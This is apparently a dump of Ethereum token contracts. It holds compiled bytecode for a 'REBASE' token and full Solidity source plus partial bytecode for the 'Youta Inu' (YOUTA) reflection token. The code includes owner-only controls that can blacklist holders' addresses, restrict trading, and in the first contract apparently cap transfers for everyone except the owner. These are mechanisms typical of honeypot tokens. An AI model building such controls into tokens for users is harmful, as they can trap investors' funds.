ffffffffffffffffff16906020019092919080359060200190929190505050610f09565b60405180821515815260200191505060405180910390f35b610541610f6c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610575610f90565b60405180821515815260200191505060405180910390f35b610595610fa3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105ed600480360360208110156105d757600080fd5b8101908080359060200190929190505050610fc9565b005b6106316004803603602081101561060557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102b565b6040518082815260200191505060405180910390f35b6106a96004803603604081101561065d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611043565b6040518082815260200191505060405180910390f35b610701600480360360208110156106d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b005b6040518060400160405280600981526020017f5265626173654d6178000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561077757600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108bf57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561094857600080fd5b6109d782600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126c90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a628484846112b6565b600190509392505050565b601281565b60015481565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610b6760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000846112b6565b610b7c8260015461126c90919063ffffffff16565b60018190555060019050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dda57600080fd5b60001515600260009054906101000a900460ff1615151415610e16576001600260006101000a81548160ff021916908315150217905550610e32565b6000600260006101000a81548160ff0219169083151502179055505b565b6040518060400160405280600681526020017f524542415345000000000000000000000000000000000000000000000000000081525081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ec557600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f5757600080fd5b610f623384846112b6565b6001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461102157600080fd5b8060038190555050565b60056020528060005260406000206000915090505481565b6006602052816000526040600020602052806000526040600020600091509150505481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611129576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806119906026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006112ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611847565b905092915050565b60001515600260009054906101000a900460ff16151514156114665761132481600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113b981600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611842565b600354811015611604576114c281600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061155781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611841565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806116ab5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156118405761170281600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5b5b505050565b60008383111582906118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118b957808201518184015260208101905061189e565b50505050905090810190601f1680156118e65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611985576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220c89b8a7bee7596bef8ea8a5cdeddfa942862a0ca235e2ddce5845131b501e7fb64736f6c63430007040033
{"success": true, "error": null, "results": {}}
10,025
0xd39352176bA457EEA7a5d07040D0335d18cE4278
// Youta Inu ($YOUTA) // Telegram: https://t.me/youtainu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract YOUTAINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Youta Inu"; string private constant _symbol = "YOUTA"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 60; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
0x6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610383578063c3c8cd80146103c0578063d543dbeb146103d7578063dd62ed3e14610400578063ed9953071461043d5761011e565b806370a08231146102b0578063715018a6146102ed5780637b5b1157146103045780638da5cb5b1461032d57806395d89b41146103585761011e565b806323b872dd116100e757806323b872dd146101df578063313ce5671461021c5780635932ead1146102475780636b999053146102705780636fc3eaec146102995761011e565b8062b8cf2a1461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a60048036038101906101459190612b5f565b610454565b005b34801561015857600080fd5b506101616105a4565b60405161016e9190613023565b60405180910390f35b34801561018357600080fd5b5061019e60048036038101906101999190612b23565b6105e1565b6040516101ab9190613008565b60405180910390f35b3480156101c057600080fd5b506101c96105ff565b6040516101d691906131e5565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190612ad4565b610610565b6040516102139190613008565b60405180910390f35b34801561022857600080fd5b506102316106e9565b60405161023e919061325a565b60405180910390f35b34801561025357600080fd5b5061026e60048036038101906102699190612ba0565b6106f2565b005b34801561027c57600080fd5b5061029760048036038101906102929190612a46565b6107a4565b005b3480156102a557600080fd5b506102ae610894565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190612a46565b610906565b6040516102e491906131e5565b60405180910390f35b3480156102f957600080fd5b50610302610957565b005b34801561031057600080fd5b5061032b60048036038101906103269190612bf2565b610aaa565b005b34801561033957600080fd5b50610342610b8c565b60405161034f9190612f3a565b60405180910390f35b34801561036457600080fd5b5061036d610bb5565b60405161037a9190613023565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190612b23565b610bf2565b6040516103b79190613008565b60405180910390f35b3480156103cc57600080fd5b506103d5610c10565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190612bf2565b610c8a565b005b34801561040c57600080fd5b5061042760048036038101906104229190612a98565b610dd3565b60405161043491906131e5565b60405180910390f35b34801561044957600080fd5b50610452610e5a565b005b61045c6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e090613145565b60405180910390fd5b60005b81518110156105a0576001600a6000848481518110610534577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610598906134fb565b9150506104ec565b5050565b60606040518060400160405280600981526020017f596f75746120496e750000000000000000000000000000000000000000000000815250905090565b60006105f56105ee6113b6565b84846113be565b6001905092915050565b6000683635c9adc5dea00000905090565b600061061d848484611589565b6106de846106296113b6565b6106d98560405180606001604052806028815260200161394760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f6113b6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d559092919063ffffffff16565b6113be565b600190509392505050565b60006009905090565b6106fa6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077e90613145565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6107ac6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083090613145565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108d56113b6565b73ffffffffffffffffffffffffffffffffffffffff16146108f557600080fd5b600047905061090381611db9565b50565b6000610950600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb4565b9050919050565b61095f6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e390613145565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ab26113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3690613145565b60405180910390fd5b60008111610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b79906130e5565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f594f555441000000000000000000000000000000000000000000000000000000815250905090565b6000610c06610bff6113b6565b8484611589565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c516113b6565b73ffffffffffffffffffffffffffffffffffffffff1614610c7157600080fd5b6000610c7c30610906565b9050610c8781611f22565b50565b610c926113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1690613145565b60405180910390fd5b60008111610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990613105565b60405180910390fd5b610d916064610d8383683635c9adc5dea0000061221c90919063ffffffff16565b61229790919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610dc891906131e5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e626113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee690613145565b60405180910390fd5b600f60149054906101000a900460ff1615610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3690613065565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fcf30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113be565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561101557600080fd5b505afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d9190612a6f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110af57600080fd5b505afa1580156110c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e79190612a6f565b6040518363ffffffff1660e01b8152600401611104929190612f55565b602060405180830381600087803b15801561111e57600080fd5b505af1158015611132573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111569190612a6f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111df30610906565b6000806111ea610b8c565b426040518863ffffffff1660e01b815260040161120c96959493929190612fa7565b6060604051808303818588803b15801561122557600080fd5b505af1158015611239573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061125e9190612c1b565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611360929190612f7e565b602060405180830381600087803b15801561137a57600080fd5b505af115801561138e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b29190612bc9565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611425906131a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561149e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611495906130a5565b60405180910390fd5b80600460008573fffffffffffffffffffffffffffffffffffff